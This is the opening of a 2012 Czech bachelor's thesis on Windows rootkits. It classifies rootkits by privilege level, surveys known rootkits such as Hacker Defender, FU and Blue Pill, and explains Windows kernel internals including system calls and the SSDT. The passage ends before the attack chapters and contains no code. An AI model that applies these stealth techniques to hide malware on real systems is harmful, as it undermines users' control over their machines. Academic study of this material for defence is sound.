VYSOKÉ UCENÍ TECHNICKÉ V BRNEBRNO UNIVERSITY OF TECHNOLOGY

FAKULTA INFORMACNÍCH TECHNOLOGIÍÚSTAV INTELIGENTNÍCH SYSTÉMU

FACULTY OF INFORMATION TECHNOLOGYDEPARTMENT OF INTELLIGENT SYSTEMS

ROOTKIT PRO MS WINDOWS

BAKALÁRSKÁ PRÁCEBACHELOR’S THESIS

AUTOR PRÁCE MICHAL TRUTMANAUTHOR

BRNO 2012

VYSOKÉ UCENÍ TECHNICKÉ V BRNEBRNO UNIVERSITY OF TECHNOLOGY

FAKULTA INFORMACNÍCH TECHNOLOGIÍÚSTAV INTELIGENTNÍCH SYSTÉMU

FACULTY OF INFORMATION TECHNOLOGYDEPARTMENT OF INTELLIGENT SYSTEMS

ROOTKIT PRO MS WINDOWSROOTKIT FOR MS WINDOWS

BAKALÁRSKÁ PRÁCEBACHELOR’S THESIS

AUTOR PRÁCE MICHAL TRUTMANAUTHOR

VEDOUCÍ PRÁCE Ing. BORIS PROCHÁZKASUPERVISOR

BRNO 2012

AbstraktTato bakalarska prace se zabyva metodami utoku na operacnı system MS Windows a pri-blizuje techniky skryvanı vypocetnıch prostredku pouzıvane existujıcımi rootkity. Prace jerozdelena na teoretickou a praktickou cast. Prvnı cast pojednava o klasifikaci rootkitu,predstavuje strukturu jadra systemu a nasledne popisuje jednotlive techniky napadenı ope-racnıho systemu. V prakticke casti je prezentovana implementace a testovanı vlastnıhorootkitu.

AbstractThis bachelor’s thesis deals with methods of attack on MS Windows operating systemand maps techniques of resources hiding used by existing rootkits. The thesis consists of atheoretical and a practical part. The first part covers classification of the rootkits, introducesthe structure of the system kernel and then describes various techniques of attacking thesystem. In the practical part is described implementation and testing of my own rootkit.

Klıcova slovaoperacnı system, MS Windows, jadro, systemove volanı, rootkit, skryvanı prostredku

Keywordsoperating system, MS Windows, kernel, system call, rootkit, resources hiding

CitaceMichal Trutman: Rootkit pro MS Windows, bakalarska prace, Brno, FIT VUT v Brne, 2012

Rootkit pro MS Windows

ProhlasenıProhlasuji, ze jsem tuto bakalarskou praci vypracoval samostatne pod vedenım pana Ing.Borise Prochazky. Uvedl jsem vsechny literarnı prameny a publikace, ze kterych jsem cerpal.

. . . . . . . . . . . . . . . . . . . . . . .Michal Trutman13. kvetna 2012

PodekovanıTımto bych rad podekoval panu Ing. Borisi Prochazkovi za jeho ochotu a cenne odbornepripomınky.

c© Michal Trutman, 2012.Tato prace vznikla jako skolnı dılo na Vysokem ucenı technickem v Brne, Fakulte informac-nıch technologiı. Prace je chranena autorskym zakonem a jejı uzitı bez udelenı opravnenıautorem je nezakonne, s vyjimkou zakonem definovanych prıpadu.

Obsah

Uvod 3

1 Rootkity 41.1 Rootkity a malware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41.2 Klasifikace rootkitu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4

1.2.1 Uzivatelske rootkity . . . . . . . . . . . . . . . . . . . . . . . . . . . 41.2.2 Jadrove rootkity . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51.2.3 Hardwarove rootkity . . . . . . . . . . . . . . . . . . . . . . . . . . . 51.2.4 Virtualnı rootkity . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51.2.5 Rootkity rızeneho kodu . . . . . . . . . . . . . . . . . . . . . . . . . 6

1.3 Srovnanı existujıcıch rootkitu . . . . . . . . . . . . . . . . . . . . . . . . . . 61.3.1 NTRootkit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61.3.2 Hacker Defender . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71.3.3 Fu, FUTo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71.3.4 Vanquish . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71.3.5 SubVirt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71.3.6 Shadow Walker . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71.3.7 Blue Pill . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71.3.8 Extended Copy Protection . . . . . . . . . . . . . . . . . . . . . . . 8

2 Operacnı system MS Windows 92.1 Uzivatelsky a jadrovy rezim . . . . . . . . . . . . . . . . . . . . . . . . . . . 9

2.1.1 Procesorove mody . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92.2 Systemove volanı . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10

2.2.1 Provedenı systemoveho volanı . . . . . . . . . . . . . . . . . . . . . . 102.2.2 NtXxx a ZwXxx funkce . . . . . . . . . . . . . . . . . . . . . . . . . . 11

2.3 Sprava pameti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12

3 Metody utoku na operacnı system MS Windows 133.1 Vstup do jadra . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13

3.1.1 Vytvorenı ovladace . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133.1.2 Znovuspustenı . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 143.1.3 Prekonanı ochrany pameti . . . . . . . . . . . . . . . . . . . . . . . . 14

3.2 Unos funkcı v uzivatelskem prostoru . . . . . . . . . . . . . . . . . . . . . . 153.2.1 Injekce DLL pomocı Windows hooks . . . . . . . . . . . . . . . . . . 153.2.2 Unos tabulky importu adres . . . . . . . . . . . . . . . . . . . . . . . 15

3.3 Unos funkcı v prostoru jadra . . . . . . . . . . . . . . . . . . . . . . . . . . 163.3.1 Utok na tabulku SSDT . . . . . . . . . . . . . . . . . . . . . . . . . 16

1

3.3.2 Utok na tabulku prerusenı . . . . . . . . . . . . . . . . . . . . . . . . 173.4 Patchovanı za behu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18

3.4.1 Detour patching . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 183.5 Vrstvene ovladace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 203.6 Prıma manipulace s objekty jadra . . . . . . . . . . . . . . . . . . . . . . . 203.7 Srovnanı metod . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20

4 Metody skryvanı prostredku 214.1 Skryvanı procesu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 214.2 Skryvanı souboru a slozek . . . . . . . . . . . . . . . . . . . . . . . . . . . . 224.3 Skryvanı klıcu v registrech . . . . . . . . . . . . . . . . . . . . . . . . . . . . 234.4 Skryvanı sıt’ovych prostredku . . . . . . . . . . . . . . . . . . . . . . . . . . 24

5 Implementace 255.1 Zavadec rootkitu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 255.2 Rootkit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26

5.2.1 Zajistenı prenositelnosti . . . . . . . . . . . . . . . . . . . . . . . . . 275.2.2 Implementace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 285.2.3 Konfigurace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30

6 Testovanı 326.1 Prubeh testu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 326.2 Vliv na vykon systemu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 346.3 Moznosti vylepsenı Trutkitu . . . . . . . . . . . . . . . . . . . . . . . . . . . 35

Zaver 36

Seznam pouzitych zdroju 38

Seznam pouzitych zkratek a symbolu 39

Seznam prıloh 40

A Obsah CD 41

2

Uvod

Bezpecnost informacnıch technologiı je v poslednı dobe hodne diskutovanym tematem.Dnesnı pocıtace jsou vystaveny velkemu mnozstvı hrozeb a utoku v podobe skodlivehosoftwaru, mezi nejz patrı i rootkity. Cılem teto prace je ukazat zpusoby, jakymi je moznevytvorit rootkit pro operacnı system MS Windows a predvest tyto techniky v praxi.

Prace se sklada ze sesti kapitol. Prvnı se zabyva vyuzitım rootkitu pri tvorbe skodlivehosoftwaru a klasifikuje je do peti skupin podle urovne behu. U jednotlivych typu rootkitu jsoupopsany jejich specificke vlastnosti vcetne diskuze nad jejich vyhodami a nevyhodami. Daleje podan kratky prehled o nekolika nejzajımavejsıch soucasnych rootkitech pro Windows.

Druha kapitola se venuje operacnımu systemu Windows a predstavuje tak nutny zakladk pochopenı dalsıho textu. Jsou zde vysvetleny rozdıly mezi uzivatelskym a jadrovym rezi-mem a jejich vazba na procesorove mody architektury IA-32. Dale jsou popsany moznostiprechodu mezi temito dvema rezimy, mechanizmus vykonanı systemovych volanı a spravapameti.

Ve tretı kapitole je demonstrovano nekolik zpusobu, jakymi muze rootkit zıskat kontrolunad operacnım systemem. Je predvedeno vytvorenı ovladace a jeho nasledne zavedenı dojadra. Zbyvajıcı cast kapitoly ukazuje jednotlive metody utoku na system a to nejdrıvev uzivatelskem a pote i v jadrovem rezimu. Navazujıcı ctvrta kapitola ukazuje, jak s pomocıtechto metod dosahnout ukrytı procesu, souboru, slozek a polozek v registrech. Kapitola setake lehce dotyka skryvanı sıt’ovych prostredku.

Pata kapitola je ryze implementacnı. Shrnuje informace z predchozıch kapitol, na jejichzzakladech jsem implementoval jadrovy rootkit, ktery jsem pojmenoval Trutkit. Jeho vyho-dou je snadna obsluha, nebot’ je tvoren jen jednım souborem a k jeho zavedenı nenı potrebazadnych dalsıch programu. Umı skryvat bezıcı procesy, soubory a slozky na disku a udajev registrech. Pri implementaci byl take kladen duraz na minimalnı vyuzitı systemovychprostredku a na kompatibilitu se vsemi 32bitovymi OS Windows od verze XP.

V poslednı kapitole je popsano testovanı Trutkitu na ruznych pocıtacıch s OS Windows.Je overena jeho funkcnost v odlisnych prostredıch a jeho ukrytı pred uzivateli. Na zaver jevyhodnocen vliv Trutkitu na vykon systemu a jsou navrhnuty moznosti vylepsenı a rozsırenı.

Pri psanı teto prace mi byly velkou pomocı predevsım publikace [1, 2, 3, 4, 5] a oficialnıdokumentace k vyvoji ovladacu pro Windows [6].

3

Kapitola 1

Rootkity

Uvodnı kapitola je rozdelena na tri casti. Prvnı cast se zabyva vztahem rootkitu ke skod-livemu softwaru. Druha klasifikuje rootkity do skupin podle urovne, na ktere bezı. U kazdekategorie jsou ukazany jejı charakteristicke vlastnosti, je diskutovano vyuzitı zdroju a jsouporovnany vyhody a nevyhody. Poslednı cast podava kratky prehled o nejzajımavejsıchrootkitech.

Ze vseho nejdrıve je nutno polozit si zakladnı otazku: co je to rootkit? Rootkit je programnebo sada programu, ktera umoznuje trvalou a nedetekovatelnou prıtomnost v pocıtaci [2].Rootkit aktivne skryva prıtomnost sebe a jinych programu v systemu.

1.1 Rootkity a malware

Rootkity byvajı casto spojovany se skodlivym softwarem (oznacovan take jako mal-ware), jehoz prıtomnost v pocıtaci se snazı ukryt [1, 7]. Typicky utok probıha zpocatku nauzivatelske urovni, kdy za pouzitı nejake bezpecnostnı chyby nebo naivity uzivatele dojdek zıskanı prav administratora. Pote se nainstaluje rootkit a skodlivy software muze zacıtprovadet nerusene svou cinnost. Prave rootkity zde hrajı klıcovou roli, nebot’ umoznujımalwaru setrvat v napadenem pocıtaci dlouho bez povsimnutı.

Puvodne vyraz rootkit oznacoval program pro zıskanı prav roota v operacnım systemuUNIX. Odtud take pochazı slovo rootkit, ktere je slozeninou dvou anglickych slov — root(nazev administratorskeho uctu v UNIXu) a kit (sada programu). V dnesnı dobe je vyznamslova rootkit trochu jiny a oznacuje skutecne jen programy se schopnostmi skryvat vypocetnıprostredky. Programy, ktere muzou pro rootkit zıskat potrebny administratorsky prıstup,se nazyvajı exploity.

1.2 Klasifikace rootkitu

Podle urovne, na ktere rootkity bezı, je muzeme rozdelit do peti kategoriı [3], ktere jsoupopsany v nasledujıcıch podkapitolach 1.2.1 az 1.2.5.

1.2.1 Uzivatelske rootkity

Rootkity tohoto typu pracujı na nejnizsı urovni opravnenı. Chovanı systemu ovlivnujızasahy do pameti jednotlivych procesu, zneuzıvajıce k tomu systemove API. Protoze kazdy

4

proces bezı ve svem vlastnım pamet’ovem prostoru, je potreba injektovat kod rootkitu dovsech bezıcıch aplikacı a monitorovat vznik novych procesu.

Techniky pouzıvane temito rootkity jsou vesmes primitivnı, snadno odhalitelne a ne-prılis spolehlive. Vyuzitı zdroju (pamet’, procesor) je o neco vetsı nez u jinych typu, cozje zaprıcineno nutnostı kontrolovat kazdy proces v systemu zvlast’. Prava administratoranejsou pro jejich beh nezbytna (nicmene i tak je vetsina rootkitu vyzaduje).

1.2.2 Jadrove rootkity

Jadrove rootkity fungujı jako modul jadra operacnıho systemu a bezı tak v modu s nej-vyssımi opravnenımi. Dıky tomu, ze jadro je centrem veskereho denı v systemu, je prorootkity idealnım mıstem. Ty zde muzou provest libovolne zmeny a informace poskyto-vane systemem se tak stanou neduveryhodne. Odhalenı a odstranenı jadrovych rootkitu jepomerne obtızne. Oproti predchozı skupine jsou narocnejsı na implementaci a na vyskytkritickych chyb. Mezi pouzıvane metody utoku patrı unasenı systemovych volanı, patcho-vanı kodu systemovych funkcı a provadenı prımych zmen v pameti jadra. Jadrove rootkityjsou hlavnım tematem teto prace.

1.2.3 Hardwarove rootkity

Skupina hardwarovych rootkitu [8, 9] pracuje na nejnizsı mozne urovni — na urovnihardwaru pocıtace. Jejich kod je ukryty v napadenem zarızenı ve forme firmwaru. Firmwareje program, ktery je trvale ulozen v hardwarovem zarızenı a stara se o jeho chod. Nahranımupraveneho firmwaru dosahneme vlozenı rootkitu prımo do zvolene komponenty pocıtace,a zmenıme tak jejı funkci. Takto lze napadnout napr. BIOS pocıtace nebo firmware sıt’ovekarty; dokonce je mozne menit i mikrokod CPU.

Odhalenı hardwarovych rootkitu je velmi narocne, nebot’ bezı jeste na nizsı urovni nezsamotny operacnı system. Vyrobci hardwaru nezverejnujı vnitrnı specifikaci hardwaru anizdrojove kody firmwaru, a proto je napsanı takoveho rootkitu extremne narocne. Hardwa-rove rootkity mohou byt prenosne mezi ruznymi operacnımi systemy, naopak vzdy budouzavisle na jednom konkretnım typu zarızenı.

1.2.4 Virtualnı rootkity

Virtualnı rootkity zneuzıvajı hardwarove virtualizacnı technologie jako naprıklad IntelVT nebo AMD–V. Aplikace, ktera jednotlivym virtualnım pocıtacum prideluje prostredkya dohlızı na jejich beh, se nazyva hypervisor. Pro svuj beh vyuzıva specialnı procesorovymod opravnenı −1.

Virtualnı rootkity v sobe obsahujı jednoduchy hypervisor. Po spustenı v hostitelskemsystemu se pokusı hypervisor nainstalovat a cely napadeny system za behu premıstit dovirtualnıho stroje. Uveznenım systemu do virtualnıho PC nad nım rootkit zıska plnoukontrolu.

Tyto rootkity jsou velmi tezce detekovatelne a napadeny pocıtac nemusı mıt vubectusenı, ze bezı ve virtualnım prostredı. Typicke je pro ne vetsı vyuzitı pameti a mısta nadisku [10], nebot’ i jednoduchy hypervisor spotrebuje spoustu prostredku. Dochazı take keznacnemu narustu doby spustenı systemu, protoze je nutne nejdrıve spustit hypervisor ateprve ten pak rıdı beh puvodnıho operacnıho systemu.

5

1.2.5 Rootkity rızeneho kodu

Rootkity rızeneho kodu podle [11] predstavujı vubec nejnovejsı skupinu a v praxi sezatım nevyskytujı. Jejich cılem je behove prostredı a virtualnı stroj pro vykonavanı rıze-neho kodu. Kazdy program, ktery je na tomto prostredı zavisly, bude rootkitem ovlivnen.Z pohledu operacnıho systemu se jedna o rootkity na uzivatelske urovni, ale napadenemuvirtualnımu pocıtaci se jevı jako jadrove rootkity.

Mezi programovacı jazyky, ktere pro svuj beh vyuzıvajı virtualnı pocıtac, a tedy jsoutımto zpusobem napadnutelne, patrı napr. C#, Java nebo Python. Vetsina knihoven amodulu pro tyto jazyky je napsana prımo v jazyce samem. Tyto knihovny jsou dostupnebud’ ve forme zdrojoveho kodu nebo predkompilovaneho bytekodu. Vzhledem k tomu, zebytekod nebyva prakticky optimalizovan (optimalizace se provadı az za behu), existujı po-merne spolehlive zpusoby, jak jej prevest zpet do zdrojoveho kodu. Upravou kodu knihovenlze dosahnout zmeny chovanı daneho programovacıho jazyka. Utocnıkovi stacı k vytvo-renı rootkitu jen dobra znalost zvoleneho behoveho prostredı, nemusı vubec prijıt do stykus nızkourovnovymi jazyky jako assembler a C.

Nejvetsı nevyhodou tohoto typu rootkitu je, ze jsou svazany pouze s konkretnım pro-gramovacım jazykem. Pokud je vsak tento jazyk prenosny na vıce platforem, je prenosny irootkit. V soucasne dobe neexistujı nastroje, ktere by je umely detekovat.

Dopady techto rootkitu na vykon pocıtace jsou vyssı nez u jinych kategoriı. Je to danotım, ze jsou napsany ve vysokourovnovych jazycıch a bezı ve virtualnım stroji. Pro provedenızmen v behovem prostredı je potreba prıstup k souborum virtualnıho pocıtace (vetsinouvyzaduje prava administratora).

1.3 Srovnanı existujıcıch rootkitu

Pro srovnanı bylo vybrano 8 nejzajımavejsıch rootkitu. Ke kazdemu je uveden strucnypopis, nejdulezitejsı udaje jsou pak shrnuty v tabulce 1.1. Informace byly cerpany predevsımze zdroju [3, 9].

Nazev Uroven Autor

NTRootkit jadro Greg Hoglund

Hacker Defender uzivatelska Holy Father

FU, FUTo jadro James Butler, C.H.A.O.S.

Vanquish uzivatelska XShadow

SubVirt virtualnı Samuel T. King, Peter M. Chen a dalsı

Shadow Walker jadro Sherri Sparks, James Butler

Blue Pill virtualnı Joanna Rutkowska

Extended Copy Protection jadro Sony BMG

Tabulka 1.1: Prehled vybranych rootkitu

1.3.1 NTRootkit

NTRootkit [12] se v roce 1999 stal prvnım rootkitem pro Windows NT. Pouzıva metodunapadenı tabulky SSDT a tabulky prerusenı. Puvodnı funkcı rootkitu byla schopnost zvysituzivateli aktualnı opravnenı, podobne jako to v UNIXu umı prıkaz su. Pozdeji byl obohacen

6

i o dalsı schopnosti, takze umı skryvat soubory a procesy, muze logovat stisknute klavesy aumoznuje vzdalene pripojenı pres Telnet. Autorem je Greg Hoglund.

1.3.2 Hacker Defender

Hacker Defender [13] pochazı od ceskeho autora s prezdıvkou Holy Father. Jedna seo plne vybaveny rootkit s velkym mnozstvım nastavenı. Umı skryvat soubory, slozky, pro-cesy, ovladace, zaznamy v registrech a sıt’ove porty. Dale umı falsovat udaj o volnem mıstuna pripojenych discıch. Poskytuje take moznost ovladat system vzdalene pres prıkazovyradek.

1.3.3 Fu, FUTo

Autorem puvodnı verze rootkitu FU je James Butler. Na jeho zakladech byla potevystavena skupinou C.H.A.O.S vylepsena verze nazvana FUTo. Mezi funkce rootkitu patrızvysenı urovne uzivatelskych opravnenı, skryvanı souboru, procesu a ovladacu za pouzitımetody prıme manipulace s objekty jadra.

1.3.4 Vanquish

Vanquish pouzıva metodu injekce DLL, pomocı nız dokaze skryvat slozky, soubory,sluzby a zaznamy v registrech. Ma schopnost logovat hesla a chranit vybrane soubory predsmazanım.

1.3.5 SubVirt

SubVirt [10] modifikuje bootovacı sekvenci infikovanım bootovacıho sektoru. Po zapnutıPC se nejprve spustı hypervisor a teprve v nem puvodnı operacnı system (at’ uz Windowsnebo Linux). Nepouzıva hardwarovou virtualizaci, takze je snadneji detekovatelny. Mezijeho funkce patrı odposlech klaves a sber dalsıch citlivych informacı. SubVirt take zachytavapozadavky virtualnıho pocıtace na restart a vypnutı a vytvarı iluzi, ze byly vykonany.Rootkit tak neztracı nad pocıtacem kontrolu ani behem restartu napadeneho systemu.

1.3.6 Shadow Walker

Shadow Walker [14] od dvojice autoru Sherri Sparks a James Butler dosahuje svehoukrytı vytvarenım falesnych pohledu na pamet’ systemu. Vyuzıva triku desynchronizaceTLB, kdy pri pokusu o prıstup ke strance dojde k vyjimce, v jejız obsluze vlozı rootkit dopamet’ove stranky podvrzena data.

1.3.7 Blue Pill

Cılem Blue Pill [15] bylo ve sve dobe ukazat, ze lze zneuzıt hardwarovych virtualizacnıchtechnologii k ovladnutı OS a vytvorit tak temer nedetekovatelny rootkit. Blue Pill dokaze zabehu prenest napadeny system do virtualnıho prostredı a dostat jej tak pod svou kontrolu.Proti svemu odhalenı se branı mimo jine i dukladnym falsovanım procesorovych cıtacu acasovacu, ze kterych by se dalo vycıst zpomalenı vznikle vykonavanım instrukcı hypervisoru.

7

1.3.8 Extended Copy Protection

Asi nejvıce vstoupily rootkity v povedomı v roce 2005, kdy firma Sony BMG uvedlahudebnı CD s ochranou proti kopırovanı [9]. Tyto hudebnı nosice obsahovaly komercnırootkit nazvany Extended Copy Protection, ktery se bez vedomı uzivatele nainstalovaldo pocıtace. Jeho cılem bylo vynutit dodrzovanı autorskych prav k hudebnım diskum azamezenı jejich kopırovanı. Pro svou ochranu skryval vsechny soubory, slozky, procesy aklıce v registrech zacınajıcı retezcem

”$sys$“.

8

Kapitola 2

Operacnı system MS Windows

V teto kapitole se zabyvam strukturou operacnıho systemu MS Windows a jeho vazbouna architekturu IA-32. Jsou zde vysvetleny rozdıly mezi uzivatelskym a jadrovym rezimem,procesorove mody a mechanizmus systemovych volanı. V zaveru kapitoly se zabyvam spra-vou pameti. Informace v teto kapitole byly cerpany predevsım ze zdroju [4, 16, 2].

2.1 Uzivatelsky a jadrovy rezim

V operacnım systemu Windows existujı dve zakladnı urovne opravnenı: uzivatelsky ajadrovy rezim [4]. V jadrovem rezimu bezı jadro operacnıho systemu a systemove ovladace.Program v jadrovem rezimu muze vykonavat privilegovane instrukce CPU, ma neomezenyprıstup do pameti a muze prımo pristupovat k hardware pocıtace. Jakakoliv programatorskachyba muze snadno skoncit padem celeho systemu. Naproti tomu programy bezıcı v uzi-vatelskem rezimu majı omezenou instrukcnı sadu a omezeny prıstup do pameti. S jadremkomunikujı pomocı systemovych volanı.

2.1.1 Procesorove mody

Pro vynucenı omezenı platnych v uzivatelskem rezimu existuje na architekture IA-32hardwarova podpora. Ta rozlisuje 4 urovne opravnenı zvane ring mody [16, 17]:

• ring 0 – jadro OS (jadrovy rezim)

• ring 1 – ovladace OS

• ring 2 – sluzby a ovladace

• ring 3 – uzivatelske aplikace (uzivatelsky rezim)

Pouze v modu nejvyssıho opravnenı — ring 0 — lze neomezene pristupovat do pametia registru procesoru, vykonavat libovolne instrukce a provadet IO operace. Procesy bezıcıs nizsım opravnenım nemuzou pristupovat do kruhu s nizsım cıslem. Pri pokusu o porusenıtohoto pravidla vyvola CPU vyjimku.

Operacnı systemy Windows pro svuj beh vyuzıvajı pouze ring 0 a ring 3, ostatnı zusta-vajı nevyuzity. Neomezeny kruh 0 je vyhrazen pro beh kodu v jadrovem rezimu. Aplikaceuzivatelskeho rezimu bezı v kruhu 3. Mapovanı mezi mody procesoru a Windows je znazor-neno na obrazku 2.1. Procesory s podporou hardwarove virtualizace majı navıc ring −1, vekterem bezı spravce virtualnıho pocıtace (hypervisor).

9

Jádrový

režim

Uživatelský

režim

0

1

2

3

WindowsIA-32

Klesající oprávnění

Obrazek 2.1: Urovne opravnenı

Prechod z uzivatelskeho do jadroveho rezimu musı byt dusledne kontrolovan jadrem OS.Muze k tomu dojıt nasledujıcımi zpusoby [1]:

1. Vyvolanım prerusenı. Po vyvolanı prerusenı vyhleda procesor v tabulce obsluznourutinu (ISR) a preda jı rızenı. Po dokoncenı obsluhy se rızenı vracı zpet puvodnımuprocesu.

2. Pomocı brany pro predanı rızenı. Brana predanı rızenı (call gate) je specialnıadresa v pameti. Pokud se provede vzdalene volanı teto adresy, dojde k prepnutı dorezimu jadra.

3. Vykonanım instrukce SYSENTER. Instrukce SYSENTER slouzı k rychlemu provedenısystemoveho volanı. Nahrazuje drıve pouzıvany zpusob, kdy bylo nutne vyvolat pre-rusenı.

2.2 Systemove volanı

Jedinym komunikacnım prostredkem mezi uzivatelskymi procesy a jadrem OS jsou sys-temova volanı [4, 18]. Systemova volanı tvorı sada sluzeb jadra s definovanym rozhranım,ktere je nazvano jako nativnı API. Po spustenı systemoveho volanı dojde k bezpecnemuprechodu do rezimu jadra. Nasledne je vykonavan jadrovy kod ve prospech bezıcıho procesua po jeho dokoncenı je proveden navrat zpet do uzivatelskeho rezimu.

Uzivatelske programy vetsinou nekomunikujı s jadrem prımo, ale za pouzitı knihovnıchfunkcı, ktere samy rozhodnou o zpusobu provedenı pozadavku. Muze tak dojıt k jednomu,zadnemu nebo i vıce systemovym volanım. Windows poskytujı nekolik ruznych knihovnıchrozhranı tzv. podsystemu. Nejdulezitejsım podsystemem je Win32, ostatnı slouzı zejmenapro zachovanı kompatibility s jinymi operacnımi systemy. Mezi tyto podsystemy patrı napr.Win16, MS-DOS, OS/2 a POSIX.

2.2.1 Provedenı systemoveho volanı

Systemove volanı lze provest dvema zpusoby: vyvolanım prerusenı INT 2E nebo vyko-nanım instrukce SYSENTER. Modernım a rychlejsım zpusobem je instrukce SYSENTER. V ta-

10

kovemto prıpade se pouzijı obsahy trı specialnıch procesorovych registru, ktere urcujı prımoadresu rutiny pro obsluhu systemovych volanı (KiSystemService) a adresu zasobnıku jadra.Druhym mene pouzıvanym zpusobem je vyvolanı softwaroveho prerusenı, v jehoz obsluzedojde k zavolanı rutiny KiSystemService.

Kazde systemove volanı je identifikovano svym jednoznacnym cıslem, ktere se spolus dalsımi prıznaky predava v registru EAX. Obsluzna rutina KiSystemService podle nejvyhleda v tabulce systemovych volanı (System Service Dispatch Table, SSDT) adresu prı-slusne funkce, zkopıruje parametry na zasobnık jadra a funkci zavola. K navratu z rezimujadra se pouzıva instrukce SYSEXIT respektive IRET v prıpade volanı pres prerusenı.

Zakladnı strukturou, ve ktere probıha vyhledanı systemoveho volanı, je tabulka popiso-vacu systemovych sluzeb, z jadra exportovana jako KeServiceDescriptorTable. Ta obsa-huje ukazatel jednak na tabulku SSDT, tabulku parametru a dale udaj o poctu zaznamuv techto tabulkach. Tabulka parametru udava souhrnnou delku vsech parametru volanıv bajtech. V SSDT jsou ulozeny adresy funkcı pro obsluhu konkretnıch systemovych sluzeb.V dokumentaci jsou tyto funkce oznaceny jako NtXxx, nebot’ jejich jmeno zacına prefixemNt*. Indexem do tabulky je identifikacnı cıslo sluzby, delka jednoho zaznamu je 32 bitu.Struktura tabulky popisovacu systemovych sluzeb je znazornena na obrazku 2.2.

KeServiceDescriptorTable System Service Dispatch Table Parameter Table

Obrazek 2.2: Tabulka popisovacu systemovych sluzeb

2.2.2 NtXxx a ZwXxx funkce

Ke kazde funkci NtXxx lze ve Windows priradit podobnou funkci s prefixem Zw* [19].Naprıklad k funkci NtWriteFile existuje i odpovıdajıcı funkce ZwWriteFile. Pri volanız uzivatelskeho rezimu nenı mezi funkcemi zadny rozdıl, obe skoncı vykonanım stejnehokodu. Rozdıl je vsak pri volanı z jadra. Adresy NtXxx funkcı jsou uvedeny prımo v tabulceSSDT. Pokud zavolame nekterou NtXxx funkci, skocıme rovnou na zacatek systemovehovolanı a preskocıme tak veskere obsluzne rutiny s nım spojene. Naproti tomu pri pouzitıfunkce ZwXxx dojde k vyvolanı rutiny KiSystemService a vyhledanı odpovıdajıcı NtXxxfunkce v SSDT. Systemove volanı tak postupuje oficialnı cestou vcetne kontroly parametru.Volanı funkcı Zw* je v rezimu jadra preferovanou moznostı.

11

2.3 Sprava pameti

Windows vytvarı pro bezıcı procesy iluzi, jakoby kazdy z nich bezel ve svem vlastnım pa-met’ovem prostoru [1]. Toho je dosahnuto zavedenım virtualnı pameti a rozdelenım pametina stranky.

Ve Windows je pouzita jak segmentovana, tak strankovana pamet’. Segmentace je na ar-chitekture IA-32 povinna, ackoliv pri zapnutem strankovanı neprinası zadne dalsı vyhody1.Z tohoto duvodu se datove i kodove segmenty vsech procesu plne prekryvajı.

Virtualnı adresovy prostor kazdeho procesu je rozdelen na stranky [16], typicky o ve-likosti 4 kB. Fyzicky adresovy prostor je rozdelen na ramce stejne velikosti. Pri kazdemprıstupu k virtualnı adrese, musı byt tato adresa prelozena na skutecnou fyzickou adresuv pameti. K tomuto prekladu dochazı velice casto, a proto je pro nej nutna hardwarovapodpora — jednotka MMU a TLB.

Mapovanı pamet’ovych stranek na fyzicke ramce probıha pres tabulku adresaru stra-nek. Ukazatel na zacatek teto tabulky je ulozen v procesorovem registru CR3. Tento registrukazuje na pole 32bitovych hodnot zvanych adresare stranky. Kazda hodnota ukazuje nafyzickou adresu zacatku tabulky stranek. Z te se da zıskat adresa zacatku stranky a na-sledne vypocıtat presna fyzicka adresa. Zaznam v tabulce stranek obsahuje navıc prıznaky,pomocı kterych lze nastavit naprıklad prıstup jen pro ctenı nebo zakazat vykonavanı kodu.Mechanizmus prekladu adres je zobrazen na obr. 2.3.

Tabulka

adresářů

stránek(1024 hodnot)

CR3 Tabulka

stránek(1024 hodnot)

Fyzická paměť

(4kB

)

Tabulka

stránek(1024 hodnot)

Tabulka

stránek(1024 hodnot)

(4kB

)

(4kB

)

(4kB

)

(4kB

)

(4kB

)

(4kB

)

Obrazek 2.3: Preklad na fyzicke adresy pameti

Aby mohl bezet kazdy proces ve svem pamet’ovem prostoru, musı mıt svoji vlastnıtabulku adresaru stranek. Hodnota registru CR3 je tak pro kazdy proces unikatnı. I prestoje pamet’ nad adresou 0x7FFFFFFF2 namapovana stejne vsem procesum. Tento rozsah jevyhrazen jadru a obsah jeho pameti je stejny pro vsechny procesy.

1Segmentace pretrvava na 32bitove architekture prevazne z historickych duvodu. Na modernı architektureIntel 64 je proto prakticky vypnuta [17].

2Tuto hodnotu lze zmenit prıkazem BCDEDIT.EXE /Set IncreaseUserVa <value>

12

Kapitola 3

Metody utoku na operacnı systemMS Windows

